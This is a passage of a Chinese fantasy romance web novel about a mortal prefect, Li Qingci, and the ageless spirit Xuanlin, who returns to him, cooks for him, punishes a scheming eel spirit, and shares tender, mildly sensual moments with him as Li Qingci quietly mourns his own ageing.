天色晦暗,泛黄的烛火不甚清晰,只照亮周身一角。 朦胧中,李青辞仰起头,怔怔地眨了眨眼。 玄鳞弯下腰,掐在他腋下,把人抱在身上,抬脚朝屋里走。 一边走一边数落:“下雨不知道躲吗?一脑门子小水珠,还坐在外边吹冷风,你怎么想的!” 声音响起的一刹那,李青辞的心疯狂跳动,剧烈得他心都疼了。 心爱的珍宝失而复得。 一股强烈的心悸席卷而来,让他几乎克制不住地发抖。 没有十年八年,两年零一个月又三天,这就回来了。 到了榻上,玄鳞放下李青辞,摸他的脸:“抖这么厉害,冻着了?” 李青辞嗓子涩得说不出话,只点了点头。 玄鳞剥去他身上的外衣,把人紧紧搂在怀里,手掌附在他后背,忍不住掐他的腰:“小没良心的,也不知道等我,自己一个人就走了,让我一顿好找。” 他一路连飞带游,鼻子不停地嗅,尾巴尖儿、鼻尖儿都疼了。 对于这番埋怨,李青辞没做解释。 他抱紧玄鳞的腰:“下次等你。” 玄鳞笑了一声,揉了揉他的脑袋:“这还差不多。” 忽然,他瞥见一片漆黑里掺了一丝雪白。 玄鳞捻起那根头发,疑惑道:“这根头发怎么白了?” 李青辞眯了眯眼,凝神去看眼前的白色发丝。 然后视线上移,去看那张依旧年轻的脸。 跟十五年前没什么两样,还是看着二十岁左右。 李青辞垂下眼皮,捻住那根头发,用力一扯,平静道:“没什么,拔掉就好了。” “成吧。”玄鳞没纠结这个事情,心思都落在掌下的身体上。 他掐着李青辞的腰,皱眉道:“怎么回事?身上的肉又少了,还少了这么多。” 李青辞道:“我现在是知州,要操心很多事情,经常要跑来跑去,路走多了,自然就瘦了。” 玄鳞沉着脸,神色不愉。 李青辞笑了笑,拍着自己的肚子说:“其实也不是瘦了,是结实了,你摸摸,我的肉比以前硬了些。” 玄鳞睨他一眼,摩挲着那截腰肢。 只有一层薄薄的皮肉。 手掌上移,来到胸膛一侧,指腹微微用力就能触到里头的肋骨。 玄鳞的脸色越来越阴沉。 李青辞搂住他的脖子,贴了贴他的脸:“现在辖内风调雨顺,没灾没患,以后操心的事就少了,我多吃点饭,肉很快就能长回来了。” 玄鳞压着满心的烦躁,低声命令:“张嘴。” 李青辞怔了一下,一时没反应过来。 下一瞬,他下颚被掐住,嘴巴不受控地张开。 玄鳞咬破舌尖,逼出一滴精血,喂进他嘴里。 不同于指尖血,舌尖血所含精元太强,血珠刚进到李青辞嘴里,李青辞浑身都热了起来,小腹充斥着滚烫的热意。 他蹙着眉心,忍不住呻吟一声。 玄鳞手掌贴在他肚子上揉了揉,安抚道:“别怕,没事的,一会儿就好了。” 在这轻柔的抚摸下,小腹内那股热烫,很快就转化成了一股暖流,流进四肢百骸。 多日以来的疲惫和倦怠,像岸边礁石上的灰尘,浪头一打,被完全抹去。 李青辞感觉浑身暖洋洋的,异常舒适,他睁开眼,露出一双明亮的眼珠,整个人看起来脸色红润,容光焕发。 玄鳞捏着他的下巴,左右打量,勉勉强强点了个头:“这样看着还凑合。” 李青辞无奈叹了口气,一言不合就给他喂血,真是的,拦都拦不住。 血都咽下去了,也吐不出来。 李青辞没有纠结,笑着说:“你真好,我现在好舒服。” 玄鳞哼笑,捏了捏他的鼻子:“我来的路上,抓了两条河豚,你在这呆着,我去给你做。” 话音刚落,李青辞心头剧烈一颤,他立刻抓住玄鳞的手。 “我不吃,你别去做!”过于惊惶,导致他发出来的声音有些尖锐。 玄鳞怔了下,轻轻摸他的脸:“这是怎么了?不想吃河豚?” 李青辞用力攥了攥手,竭力平复心绪,他找回自己正常的声音:“你做完饭,是不是还要出去洗澡?” 玄鳞挑眉,心里明白过来,小崽子这是舍不得他离开。 真黏人,成精的鼻涕虫也没有这样的。 他低笑一声:“不洗,一会儿还想搂着你眯会儿觉呢。” 李青辞僵硬地扯着嘴角,跟着他一同起身:“我也去,我帮你烧火。” 玄鳞不同意:“烟熏火燎的,你凑过去干嘛?在屋里等着吃吧。” 李青辞死死攥紧他的手:“我就要去。” “……好好好,去去去!” 州衙的厨房建得不算高大,玄鳞的身影往中间一杵,显得空间逼仄起来。 他抬了抬手指,屋里生起的青烟,顺着门口一溜烟跑出去。 李青辞生火生得磕磕巴巴的,腮帮子鼓得比河豚还圆,用力吹着灶口。 玄鳞看了他一眼,心生无奈,不着痕迹地抬了下手指头。 灶膛里的火慢慢燃起来,愈燃愈烈。 李青辞如释重负地呼了口气,他擦了擦额头沁出的细汗:“好啦!我生起火了,你可以做饭了。” 玄鳞弯下腰,拍了拍他的脑袋,夸奖道:“不错,有长进。” 李青辞抿嘴,浅浅笑着,幽黑的瞳仁又亮了不少。 片刻后。 浓郁的香气扑在鼻尖,让人不禁口味大开。 李青辞坐在玄鳞膝上,捧着碗埋头吃饭。 玄鳞从身后拥住他,两条手臂松松圈住他的腰,下巴搁在他肩上,笑着问:“好吃吗?” 李青辞嘴里塞得满满当当,他顾不上说话,含糊嗯了一声。 玄鳞轻轻戳了戳他鼓起的脸蛋儿,眼里的欢喜和宠溺简直要溢出来。 低沉的嗓音透着呼之欲出的温柔:“好乖的小崽儿,以后就要这样大口吃饭。” 耳畔响起的话语,让李青辞身形一僵,他感觉脸颊烧得慌。 他已过而立的人,让人当小孩一样夸,脸皮着实有些遭不住。 “下一顿想吃什么?我抓来给你做。”玄鳞拍了拍他的肚子。 李青辞嘴里的饭不上不下,他慢慢转过头,视线对上那双暗金色的眼睛。 僵硬的身躯在一瞬间放松下来。 心境好像在一刹那回到了年少时,脸皮也随之变厚不少。 与此同时。 李青辞又忍不住想,等到他华发丛生,脸上沟壑遍布时,玄鳞还会把他当孩子看吗? 李青辞停止咀嚼,在这一瞬间,他想和玄鳞讲明,让他理解凡人的寿命。 犹豫中,嘴唇上传来一股轻柔、温热的感觉。 玄鳞在给他擦嘴。 李青辞忽然泄气,彻底放弃了这个念头。 他就算和玄鳞讲明白又怎么样呢? 他会一直衰老,这是无法改变的既定事实。 何必提前说出来,徒添困扰。 这样就很好,玄鳞本就该一无所知的轻松活着。 李青辞继续咀嚼,笑着说:“都行,你弄什么我吃什么,不过你去抓的时候要带上我。” 玄鳞挑眉:“你不是还在当官吗?白天不用干活了?” 李青辞的笑意里又多了几分真诚:“这里天高皇帝远,离省里也远,早起点卯,往后推迟了一个时辰,下晌不到太阳落山,我就不用干活了。” 玄鳞点头:“不错,这地方来对了。” 李青辞一边喝汤,一边点头应和。 饭后。 李青辞拉着玄鳞往外走。 玄鳞抬手搂住他的肩膀,懒洋洋道:“天都快黑了,这是去哪儿啊?” 李青辞道:“去我租的房子,在靠近城门口那一带,门前就是一条宽阔的水渠,连通着城外的河。” 玄鳞挑眉,眼中露出几份喜悦和期待,脚步快了不少。 李青辞无奈,只好迈开步子跟上。 等走到近前,玄鳞大失所望道:“这就是很宽的水渠?跟小溪有什么区别?” 他左右翻滚两下就到顶了。 李青辞茫然地看着水面,这条水渠足有三丈半宽。 耳边又响起嫌弃的话语:“你瞅瞅!你闻闻!这里边什么味儿都有!” 鼻翼翕动,玄鳞深拧着眉:“谁家的涮锅水倒进去了?” 玄鳞直犯恶心:“还有谁家的尿罐子也丢进去了!” “我洗脚都不用这种水!” 李青辞无措地抠着手指头,心中迷茫极了。 水渠里的水,看着明明就很清亮,他什么味儿也没嗅到啊。 他看看水渠,又看看黑沉的脸,小声问:“那我们还进去吗?” 玄鳞啧啧两声:“算了,来都来了,进去看看吧。” 等进去之后,玄鳞简直眼前一黑,大为光火。 还不如不进来。 “李青辞!”玄鳞指着他的鼻尖质问,“这就是你给我租的房子?你就让我住在这种地方?你看看,全是灰尘,你不如让我直接睡在地里!” 李青辞抿了抿嘴,心下懊恼,这段时间他忙着春种,心思也等淡了,以为等不来人了。 没想到玄鳞突然回来了。 上次来打扫还是两个多月前。 李青辞轻轻顺着玄鳞的后背,好声好气道:“是我不好,我忘记来打扫了。” 他用袖子抹去一只凳子上的灰土,又用手心擦了擦,拉着玄鳞坐下:“你先坐着,我很快就收拾好了。” 说着,他立刻端着木盆去打水。 “瞎折腾什么!”玄鳞长臂一伸,揽住他的腰,把人捞回来。 玄鳞丢掉他手里的木盆,牵着他的手往外走:“就住刚才那个地方吧,也省得你早晚来回跑。” 李青辞握住骨节分明的手指,轻哦一声。 两人溜达回去的时候,天彻底黑透了。 李青辞洗漱完,顶着一头滴水的头发往屋里走。 玄鳞眯着眼睛,斜躺在榻上,见他回来了,便冲他招手。 李青辞听话地走过去,一到近前,脑袋就被摸了两下。 坚硬修长的手指插进干燥顺滑的发间,指腹擦过头皮,带来一阵颤栗。 腰眼儿倏然发麻,李青辞踢了踢腿,在腰间捶了几下。 “好好的,你打自己干什么?”玄鳞一脸疑惑地看着他。 李青辞平静道:“腰有点难受,我捶捶。” “过来我摸摸。”玄鳞扯着他的手,把人拉到腿间,手掌贴在他的腰骨上摸索。 时隔两年,陡然亲密接触,李青辞不大习惯,身体下意识僵了僵。 直到呼吸间全是熟悉的清冽气味,李青辞终于彻底放松下来。 他攥着玄鳞一绺头发扯了扯:“我没事,咱们睡觉吧。” 听他这么说,玄鳞皱着的眉头松散下来,他也没摸出什么异常,皮肉没破,骨头也没有裂开。 “行,睡觉。” 玄鳞略一俯身,托着李青辞的屁股,把人抱在身上,三两步走到床前,仰头往下一倒。 两只大掌在柔软的腰身、大腿处用力搓了搓,寂静里,发出一声惬意的喟叹。 原本就舒缓的心跳,变得更加缓慢。 玄鳞闭着眼,喉间溢出低沉的咕噜声,一副很自在舒适的模样。 李青辞低头深深看着他。 下一顺,烛火熄灭,帷帐散下,暗金色的眼睛彻底合上。 李青辞视线一片漆黑,他依旧睁大眼睛,望着黑暗。 仰着的脑袋缓缓垂下,他趴在玄鳞身上,脑袋枕在一片宽阔的胸膛上。 过了会儿,李青辞往上蹿了蹿,脸埋进温凉的颈窝里。 很快,颈窝暖和起来,李青辞浑身被浓郁的清冽气味儿裹住,他眨了几下眼睛,就沉睡过去。 夜里。 李青辞睡熟后,玄鳞摸着他削薄的腰身,眼底漫上来疼惜。 玄鳞点了下他的鼻尖,悄无声息地离开。 他站在河岸边,朝河中丢了一小股气息,感受这片河水里的族群。 想着抓几条有灵气的鱼,给小崽子好好补补。 不一会儿,一条灰褐色的鳝鱼,快速朝岸边游过来。 玄鳞皱眉看过去,怎么招来这么一个玩意儿。 鳝鱼精一见到玄鳞,当即跪地哭嚎:“祖宗!您老人家救救小的吧!” 玄鳞脸色一黑,隔空扇了他一巴掌:“瞎叫唤什么,谁是你祖宗!” 鳝鱼精被扇得晕头撞向,一栽一栽的在水里上下浮动。 玄鳞不耐烦了,又扇了他一巴掌:“给你一句话的功夫,说不清你就有多远滚多远,别再让我看见你。” 鳝鱼精用尾巴托着自己晕乎乎的脑袋,赶紧开口:“小的在此地好好修炼,一个道士不由分说就要杀了我,我虽侥幸留下一命,却被拴住了,再也不能修炼。” “老祖!求您老人家救救我!” 鳝鱼精弓着身躯,脑袋压得极低。 玄鳞没理会,眼神落在他脖子上的金色锁链,心里涌出一股厌恶。 第59章 万字大章 有得必有舍,我不后悔, 鳝鱼精赤红的眼睛,滴溜溜快速转着,它哭得肝肠寸断:“老祖!我好不容易修炼了两百年,这刚刚能化形,求求您老人家,救救我吧!” 玄鳞嫌恶道:“我最烦哭哭啼啼的,再嚎一声,我抽烂你的嘴!” 鳝鱼精立刻用尾巴塞住嘴,疯狂摇头。 玄鳞打量他一眼,一条小鳝鱼能修炼到这一步,着实不易。 他招了招手。 鳝鱼精立刻游过来。 玄鳞问他:“你做什么了?道士为什么要杀你?” 鳝鱼精高声喊道:“我什么也没做!那些臭道士见到咱们就喊打喊杀的,老祖您应该知道的。” 玄鳞垂眼,看着他脖子上的锁链。 一股清正之气,这是个有本事的正统道士,不是那种邪肆滥杀的。 玄鳞冷嗤,狠狠扇了他一巴掌:“糊弄我是吧!” 鳝鱼精蒙头转向,一整条直转圈,就这,他还不忘辩解:“小的说的是实话,就是因为一个当官的看我不顺眼,他跟那个道士联手捉我,老祖,我真没骗您!” 玄鳞问:“哪个当官的?” 鳝鱼精嚷嚷:“就是这里最大的那个官儿!” 最大的官? 玄鳞瞬间沉下脸,五指一攥,鳝鱼精登时来到他眼皮子底下。 鳝鱼精用尾巴勾着锁链,张口喊冤:“那个当官的不是好东西……我……唔……” 玄鳞没耐心听他废话,闭眼复又睁开,一双冰冷的鎏金色竖瞳盯着鳝鱼精看。 只一瞬,鳝鱼精就呆滞不动,整个人像是被抽了魂一样。 玄鳞拧着眉,探查他的记忆,越看脸色越阴沉。 等玄鳞全部看完,他攥紧鞭柄,拦腰朝鳝鱼精猛地一抽。 鳝鱼精连一声嚎叫都发不出来,整条身子像是断成了两截,他痛苦地在岸边扭曲。 玄鳞神色暴怒,一鞭子抽在他头上,语气极为森寒:“我的人,你也敢碰!” 鳝鱼精疼得不行,脑袋直往土里钻,他心里懊悔不止,肠子都悔青了。 早知道老祖有这本领,还认识那个当官的,他就不惹这个煞神了。 玄鳞一鞭子甩在他身上,厉声道:“你敢拉李青辞下水!” “还敢诓骗我!我非抽碎你的骨头!” 鳝鱼精低低哀嚎:“老祖,您饶了我吧,我当时不知道那当官的认识你,要不然,给我十个胆子,我也不敢冒犯他。” 玄鳞轻蔑一嗤,要不然嫌这玩意儿脏,非得扒了他的皮,给小崽子炖汤。 这时,鳝鱼精赤红的眼睛,飘忽地滴溜溜乱转,张嘴挑拨离间:“老祖,您可得当心呀!那个当官的今天敢抓我,明天说不定就要抓您!” “老祖,我是您的同族,我才是和您亲近的那个,凡人是最不可信的!” 玄鳞暴怒非常,咒骂一声。 一条脏兮兮的臭鳝鱼也敢跟他攀扯,还敢跟小崽子比。 “老祖,那个当官的……” 玄鳞内心的嫌恶几乎要化为实质,这脏玩意儿的一个字他都不想听。 他挥起鞭子,鞭梢卷起鳝鱼精的尾巴,猛地往下一砸。 坚实的地面,登时砸出一条深沟。 玄鳞越想越生气,鞭子挥出去的力道陡然加大。 鳝鱼精口吐鲜血,强撑着一口气高喊道:“老祖!你不能杀我,那个当官的要留着我的命,我还有用呢!” 玄鳞怒火一滞,扯着鞭子将他从沟里拽出来。 鳝鱼精见自己的话奏效了,立刻表忠心:“老祖,我一定改,我一定听那个当官的话!” 玄鳞讥讽:“你刚刚不还要我给你解开锁链吗?” 慌乱中,鳝鱼精灵机一动:“我那是为了更好的给这片地方做好事呀,我的修为止步不前,能做的事情有限。” 玄鳞啧了一声,心里对这条鳝鱼竟然涌出一丝敬佩。 这玩意儿连鳞片都没有,皮却比穿山甲都厚,这么不要脸的话,他也能说得出口。 还说得正义凛然。 玄鳞手指敲打鞭柄,眯眼思索。 小崽子话,说得有道理,这个脏东西的话,也有几分歪理。 想了想,玄鳞低头看去。 那条金色的锁链,越看,他心里越不舒坦。 他扬手一鞭,那条禁锢着鳝鱼精让他痛苦、难以解脱的锁链,像软面条一样被抽得稀碎,断成数截。 鳝鱼精重新得到自由,忍不住痛哭,潸然泪下。 还没等他高兴起来,腰骨处又多了一条黑色锁链。 玄鳞收起鞭子:“这东西不影响你继续修行,从此以后,你的因果与我相牵,你做下好事,福报归你,若你做下恶事,我这边立刻就能感知到,到时候……” 玄鳞森然一笑:“你不会想知道自己的下场。” 鳝鱼精心中大骇,浑身哆嗦,立刻以头抢地:“小的知道了,感谢老祖慈悲,小的绝不敢再生坏心思,一定多多做善事,早日还清我身上的罪孽。” 玄鳞抬了抬手:“行,你滚吧,把这条沟抹平。” “哎哎,小的这就滚。”鳝鱼精立刻抹平沟,纵身一跃,跳进水里后忙不迭游走了。 玄鳞嫌弃地看向这片河水,转身往上游去。 挑挑拣拣一番,抓了两条鱼,折身打道回府。 玄鳞坐在床上,低头看着李青辞,伸手把他蜷缩的身子打开。 李青辞发出一声细微的咕哝,整个人侧躺着,往身边一扒。 玄鳞看着缠在自己身上的人影,嫌弃地低哼一声,嘴角却不由自主勾起一抹笑来。 双臂一环,他搂着人,惬意地眯上了眼睛。 …… 玄鳞刚来一天,整个州衙都知道知州大人的弟弟来了。 不足三天,全城的百姓都知道了。 俩人可以说是形影不离,李青辞坐在大堂审讯问案,他弟弟就在大人身后站着,看着大人还吓人。 虽然知州大人和他弟弟长得不像,听说也不是一个爹娘生的,但是关系比一母同胞的兄弟都亲。 每天傍晚,都有人碰见大人和他弟弟,两人手拉着手在城外散步。 一个刚跟自家哥哥吵架的男人,看见他们那样,忍不住羡慕的说了一句:“这兄弟俩感情真亲。” 远远的,声音传进玄鳞耳朵里。 玄鳞压抑已久的不满和怒气,终于爆发了。 他捏着李青辞的脸皮,怒声质问:“这些人是不是眼睛都瞎,不说我是你爹就算了,哪怕说我是你哥也行啊,他们竟然说我是你弟弟!” 越说,玄鳞语气越暴躁:“真是气死我了!” 他竟然沦落到给一个小崽子当弟弟! 李青辞看着这张只有二十岁左右的年轻脸庞,一时无言。 他看着比玄鳞大了十来岁,没说侄子,说是弟弟已经不错了。 见李青辞一直沉默,玄鳞拧着他的脸,眯着眼,语气阴测测道:“小崽儿,听别人这么说,你是不是心里偷着乐呢?” 李青辞摇头否认。 玄鳞松开他的脸,往他脑袋扇了一巴掌:“叫爹。” 李青辞满心的愁绪登时散了,极为无语的翻了个白眼。 他一把甩开脑袋上的手,拔腿就走。 玄鳞嘿了一声,照着他屁股踹了一脚。 李青辞往前趔趄一下,极有骨气地开口:“你就算一脚把我踹进河里,我也不叫。” “行啊,你小子长志气了。”玄鳞慢悠悠的走在他身侧,屈指弹他的脸蛋,“不叫爹也行,叫哥,反正这个亏我一定要补回来。” 李青辞满心不解:“你哪吃亏了?你又没叫过我哥。” 玄鳞高扬下巴,一脸油盐不进:“我不管,反正别人是这么认为的,只要我听见别人说一回,你就叫我十次哥。” 李青辞叹了口气,决定不再做无谓的争辩,妥协了。 他语速极快地叫完了十遍。 玄鳞一边忍俊不禁,一边嫌弃地捏他的嘴唇:“你公鸡打鸣呢?” 李青辞淡然道:“我不管,反正我叫完了。” “成吧。”玄鳞一副大度仁慈的姿态,饶恕了李青辞。 往后半个月里,李青辞经常公鸡打鸣。 每次玄鳞都憋得不行,脸都笑皱了。 有时候,李青辞气狠了,上去照着他胸口打几拳。 结果玄鳞笑得更肆意了。 李青辞无计可施,一脸气恼地快速走开。 …… “别走了,过来躺会儿。” 玄鳞扔出鳞片抛在河面上,揽着李青辞的腰,一个旋身,俩人躺在其上。 这时正值暖春三月,温度不冷不热,天边的夕阳散发着柔和的光辉,望过去也不刺眼。 玄鳞手心里搁着一捧刚摘下来的淡红樱桃,水嫩嫩的,十分鲜灵。 李青辞垮着肩膀,低头坐着,一边儿捏着樱桃往嘴里搁,一边朝河里吐籽儿。 红润润的嘴唇张张合合,颜色看着比樱桃还好看。 一对暗金色眼珠里投出来的视线,牢牢固定在翕动的嘴唇上。 李青辞吞咽一下,舔了舔嘴唇上沾染的汁水。 忽然,他嘴里塞进来一根手指,不怎么温柔地搅了搅。 李青辞皱起眉,脑袋直往后仰,舌尖抵着坚硬的手指往外推,同时抬脚去踢烦人的家伙。 软热裹上来时,玄鳞眼神一暗,喉结急促滚动,他猛地搂紧李青辞的腰,当即将人压在身下。 春情期已经过去了,可是心里仍是无法自抑的蠢蠢欲动。 玄鳞忍不住想,如果这张小嘴儿能接纳他有多好。 这么嫩,这么湿、这么热,这么软,他想象不出来,他被接纳的时候该有多舒服。 越顺着往下想,那种落寞和失望就愈发强烈。 玄鳞暴躁地搓了搓自己额头要按捺不住的角,低骂一声。 他沉下身体,压在人的身躯上。 嘴里的手指出去了,李青辞微张着嘴巴,深深喘了口气,对玄鳞这莫名其妙的举动,一头雾水。 他歪头去看肩上搁着的大脑袋,拧着眉,带着怨气询问:“为什么突然这样对我?我哪惹你了,嘴里都给我弄疼了。” 玄鳞闷着脸不吭声。 李青辞等了一会儿,没等来回答,也没再追问。 男人浑身透着一股黑气,看着很不高兴的样子。 李青辞无奈的叹了口气,两只手搂着他,在他后背轻轻顺着。 玄鳞嘴边溢出极低的呢喃,带着说不清道不明的遗憾和浓烈的不甘。 “你怎么就是个人呢,还是个公的。” 李青辞没有听见这句话,即使听见了,他也无法改变。 温热的手掌耐心轻缓地在宽阔的背上顺着,没一会儿,就安抚了暴躁的雄兽。 玄鳞咕哝一声,翻过身平躺,跟李青辞肩并肩。 大手牵小手。 李青辞的指腹被搓揉按压,虎口被掐来掐去。 他看着气息平和的男人,开口提要求:“我还想吃樱桃。” 平和的气息陡然翻滚起来,在一刹那又偃旗息鼓。 玄鳞抬手搭在眼睛上,低声命令:“张嘴。” 李青辞依言照做。 水嫩的樱桃悬在空中,排着队,挨个跳进李青辞嘴里。 李青辞吃得很开心,晃了晃两人交握的手,嘴里溢出一连串轻盈的笑声。 玄鳞放下手,露出同样带着轻松笑意的眉眼。 过了一会儿。 天色暗淡,玄鳞询问:“等会儿想吃什么?” 李青辞捏着肚子上长出来的软肉,突发奇想:“我想吃炒田螺,多放花椒和辣子。” 玄鳞一听,就嫌弃地直皱眉:“那玩意儿脏得不行,还没肉,吃一盆也不当饱。” 李青辞咽了咽口水,舔着嘴皮子说:“我想吃。” “就非得吃吗?” 李青辞默了默,又咽了咽口水:“嗯,我想有一点点想吃。” 玄鳞深深吸了口气,认命地去给他摸田螺。 他刚起身,李青辞立刻就抓住他的手:“我和你一起去。” 玄鳞低声训他:“你去什么去,水这么凉,好好在这儿待着。” 李青辞道:“水不凉,现在都快夏天了,我想和你一块儿。” 玄鳞不说话,扭过头不看他这副眼巴巴的样子。 李青辞当他默认了,扯他的手,开心道:“我们赶紧去摸,回去正好能当晚饭。” 设想的很美好,但实际操作起来误差很大。 本来玄鳞抬抬手指头就能摸出一筐田螺,俩人当即就能回家炒了吃。 但是李青辞非要跟他一起用手摸,导致速度大幅衰减。 天色暗下去时,两个人才摸了一小撮儿田螺。 视线晦暗,看不清楚,眼睛用起来很吃力,李青辞用力眨着眼。 “你那俩眼珠子别瞪了,再瞪也看不清。”玄鳞照着他脑袋扇了一巴掌。 李青辞干笑一声,抿嘴不吭声。 玄鳞拉着他往岸上走:“你在上面待着,我回去拿夜明珠,对了,那珠子你放哪了?这段时间我没见你用过。” 李青辞攥紧手,语气平常:“我不小心摔碎了,它不亮了,我就放在箱子底下了。” 玄鳞嗯了一声,也没在意:“碎就碎了吧,以后给你弄个更大的。” 李青辞道:“咱们走吧,明天再来摸。” 玄鳞朝他脸上吹了口气:“你不是吵着要吃,亏什么也不能亏了你这张嘴。” 李青辞噎住,不知道怎么回话。 玄鳞微微张嘴,吐出一颗明亮的金色珠子。 原本只有指头大小的珠子,在缓缓上升至空中后,变得如脑袋大小。 投下来的光线极其明亮,一时间,晦暗的河边恍若白昼。 要不是李青辞亲眼看见这颗珠子是从玄鳞嘴里吐出来的,他还以为天上的太阳掉下来了。 这种景象太过惊奇,李青辞目瞪口呆,都忘了惊叹。 玄鳞捏住他的下巴往上一抬:“别在这当傻子了,赶紧摸,回去还要炒熟呢。” 李青辞合住嘴,眼睛直勾勾盯着头顶的金色珠子:“它怎么会这么亮?也太漂亮了!真好看呀,金灿灿的像太阳一样,但是光线又不刺眼,像月亮。” “哇!真的太好看了,越看越漂亮,上面还有很漂亮的纹路,好漂亮啊……” 一通抑扬顿挫满是惊叹的夸赞,玄鳞还算受用。 他挑眉,哼笑:“再夸,这玩意儿也不能给你。” 李青辞还在直勾勾盯着珠子看,期待道:“我没说要,我摸摸行吗?” 玄鳞听完脸色一黑:“不行,你那俩脏爪子真是看什么都想摸,快点摸田螺,不然我把这玩意儿收起来,你就自己一个人在这黑灯瞎火地摸吧。” “真小气。”李青辞,撇嘴咕哝一声,“不摸就不摸。” 玄鳞眯起眼睛,弹他的嘴唇:“嘟囔什么呢,大点声,让我也听听。” 李青辞立刻住嘴,讨好地朝他笑了笑,快速弯腰去摸田螺。 见人还算乖觉,玄鳞没计较,他捏捏手指,让那些个头肥大的田螺,全滚到他们脚边儿。 不一会儿。 李青辞系好袖子,拎着满满一大堆田螺,满脸笑容地看着玄鳞:“我们回家吧!” 玄鳞接过他手里用衣服做成的包裹,面无表情道:“这件衣服以后不许再穿。” 这件衣服穿四五年了,确实也旧了,李青辞顺从地点头。 到家后。 玄鳞将碍事的人推到一边,操纵水流清洗田螺,来来回回洗了无数遍,把田螺都晃头晕了,肚子里的泥沙吐得干干净净。 他握着铲子翻炒,鲜香麻辣的味道直扑面门,李青辞一边烧火一边止不住地咽口水。 玄鳞听着他的吞咽声,简直没脾气了。 真没出息,竟然馋这种玩意儿。 送上门来进他嘴里,他都要吐出去的东西。 “哐当”一声! 玄鳞把盛着田螺的盆儿放在桌上,看着一旁眼巴巴的人,没好气地说:“赶紧吃你的吧,别馋得把自己舌头嚼了。” 李青辞嗯嗯点头,拿起筷子,夹起盘子上挑好的螺肉。 一旁身旁的黑色身影,脸色比衣服更黑,捻动手指快速挑着螺肉。 李青辞吃了十几颗螺肉,皱了皱眉,抬手制止玄鳞:“我自己嘬着吃吧,这样吃起来不得劲儿。” “你事儿真多!” 玄鳞也懒得伺候,双手抱臂,斜眼看着李青辞吃。 手笨得要死,没想到嘴巴舌头挺灵活,嘬得真起劲儿,啧啧作响。 玄鳞盯着他嘟起的嘴唇看,思绪慢慢散开。 这么会嘬,要是嘬的是他的…… 玄鳞别开眼,滚了滚喉结,抬手扶额,低低骂了一声。 耳边持续响着嘬嘬声,时不时响起吸溜声,隔一会儿,还会发出一道长长的嘶嘶声。 艳红色的舌头伸出一截,在唇边上下弹动。 李青辞冲着玄鳞吐舌头,嘴里直嘶嘶:“好辣好辣!你快给我倒口水。” 玄鳞眯着眼睛,心里突然窜起一股邪火,他戳着李青辞的脑门,咬牙切齿道:“有时候我是真想扇你。” 李青辞辣得不行,接过他递过来的凉茶,咕嘟咕嘟一饮而尽。 他浮起一脑门的细汗,白净的脸上布满红晕,嘴唇更是红肿得几欲滴血。 玄鳞见他还在往嘴里搁田螺,实在看不下去了:“别嘬了,嘴还要不要!去照照镜子,看看嘴都肿成什么样了!” 李青辞不在意,嘴里不停,含糊道:“没事,睡一觉就好了。” 玄鳞匪夷所思:“你怎么这么馋!辣成这样还要吃,你就不嫌难受吗?” 李青辞快速拨楞脑袋,吐出空的螺壳:“不难受,吃得好爽!你做得太好吃了!” 他舔着嘴唇,朝玄鳞游说:“你试试,真的好吃,越吃越上瘾。” 玄鳞一点兴趣都没有,丝毫不心动,冷漠拒绝:“你自己吃吧。” 李青辞吃得兴起,没再管他。 晚间。 李青辞躺在床上,抿着自己红肿泛着疼意的嘴唇,还有嘴里又疼又麻的舌头,尤其是舌尖儿。 他唔唔两声,耷拉着脸,唉声道:“吃的时候挺爽,现在难受死了,舌尖儿好像破皮了,真疼。” 玄鳞躺在一边落井下石:“活该!让你嘴这么馋,说你你不听,非得吃。” 李青辞哽了一下,释然道:“算了,疼就疼吧,有得必有舍,我不后悔,如果每天都能吃到这么好吃的炒田螺,我愿意天天晚上舌头疼。” 玄鳞听完,登时翻了下眼皮,脸上的匪夷所思和嫌弃难以名状。 李青辞小声抽气,吐出火辣辣疼的舌头,用手在嘴边扇风。 扇了一会儿发现不怎么顶用,他推了推玄鳞:“你能给我变一小块冰吗?我搁嘴里含着。” 玄鳞深吸了口气,往他嘴里扔了块冰。 李青辞嘶了一声:“哇,好冰,好凉好凉。” 坚硬的冰块和牙齿来回碰撞发出清脆的响声。 等冰块儿融下去一半儿,李青辞嘎吱嘎吱咬碎咽下去,叹了一声:“这下好了,嘴唇开始麻了,都没知觉了。” 玄鳞转头看他,本就红肿的嘴唇,这下变得更肿,那层薄薄的皮仿佛要破掉一般。 他用指腹蹭了蹭,摸上去很烫。 李青辞嘶了一声:“别碰别碰,有点疼。” 玄鳞看他,一副蹙着眉头,可怜巴巴的委屈样儿。 叹了口气,玄鳞拿开李青辞捂在嘴上的手,低头去舔他。 李青辞怔住,攥着手没动。 嘴唇上传来轻柔的舔舐,很快,他就感觉那股肿胀消减下去了。 明知道这个举动没有暧昧意味,可是他还是忍不住情动,心跳剧烈起来,胸膛急促起伏。 李青辞抿着嘴,呼吸不畅,气息变得混乱。 嘴唇上的舌头稍稍挪开,玄鳞几乎贴着他的嘴说话:“嘴张开,我给你舔舔舌头。” 理智轰然倒塌。 李青辞忍耐不住,伸手勾住玄鳞的脖子,凑上去亲他。 他亲得乱七八糟,毫无章法,亲吻中带上了一种莫名的怨恨意味,开始啮咬。 玄鳞托住他的后颈,含着他的舌尖儿舔。 一时间,寂静黑暗的帷帐里,回荡着李青辞急促的呼吸声,还有他“砰砰砰”的心跳声。 玄鳞皱了皱眉,他稍稍抬头,空出嘴来询问,语气里带着疑惑和担忧:“小崽儿,你怎么了?心跳这么快,还一直喘。” 说着,玄鳞手指搭在李青辞颈侧。 李青辞抿去嘴唇的水渍,咽了咽口水。 他没回答,抬手遮住眼睛,掩去难堪。 玄鳞不明所以,拉开他的手:“这是怎么了?” 嘴唇上的肿消下去了,身上却有另一个地方肿起来了。 李青辞哑着嗓子,低声开口:“没事,我有点热了,出去冲个凉。” “行吧。” 李青辞快速离开。 一连冲了两盆凉水,身上那股燥热居高不下,心里的燥热更是无法排遣。 李青辞扯着嘴角笑了一下,笑容带着苦涩的自嘲。 他闭了闭眼,靠着墙边,往下伸手。 近乎自虐的抚摸,李青辞弓着身子,额头抵着自己的手背。 他怎么就活到了这个份上,三十岁的人,还跟十几岁的时候一样。 没出息。 …… 李青辞净完手,又冲了下凉,面色如常地回到屋里。 玄鳞一挨着他,就皱起眉头:“身上这么凉?以后不许用凉水洗澡,生病怎么办?” 李青辞道:“没事,现在是夏天,一会儿就热了。” 玄鳞没搭理他,从柜子里抽出一张薄毯子,扔在他身上。 李青辞搓着手,等手心暖和之后,去握玄鳞的手。 玄鳞回握,问他:“嘴巴舌头还疼不疼?” 李青辞轻笑一声:“不疼了。” 